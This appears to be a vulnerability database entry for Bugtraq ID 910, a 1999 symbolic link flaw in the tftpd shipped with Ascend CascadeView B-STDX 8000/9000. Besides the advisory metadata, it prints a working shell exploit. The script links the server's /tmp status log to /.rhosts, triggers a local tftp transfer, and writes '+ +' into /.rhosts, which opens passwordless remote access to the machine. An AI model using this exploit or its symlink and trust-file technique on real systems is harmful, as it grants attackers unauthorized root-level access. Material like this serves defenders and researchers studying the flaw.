Ascend CascadeView tftpd Symbolic Link Vulnerability

BID:910

Info

Ascend CascadeView tftpd Symbolic Link Vulnerability

Bugtraq ID: 910
Class: Boundary Condition Error
CVE:
Remote: Unknown
Local: Unknown
Published: Dec 31 1999 12:00AM
Updated: Dec 31 1999 12:00AM
Credit: First posted to Bugtraq by Loneguard <[email protected]> on December 31, 1999.
Vulnerable: Ascend CascadeView/UX 1.0
+ Ascend B-STDX 8000 1.0
+ Ascend B-STDX 9000 1.0
Not Vulnerable:

Discussion

Exploit / POC

Ascend CascadeView tftpd Symbolic Link Vulnerability

#!/bin/sh
#
# tftpserv.sh - Loneguard 07/03/99
#
# Buggy tftp server shipped with CascadeView B-STDX 8000/9000
#
rm /tmp/tftpd_xfer_status.log
ln -s /.rhosts /tmp/tftpd_xfer_status.log
echo KungFu > crazymonkey
( sleep 1 ; echo put crazymonkey ; sleep 1 ; echo quit ) | tftp 127.1
echo "+ +" > /.rhosts

Solution / Fix

Ascend CascadeView tftpd Symbolic Link Vulnerability

Solution:
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References

Ascend CascadeView tftpd Symbolic Link Vulnerability

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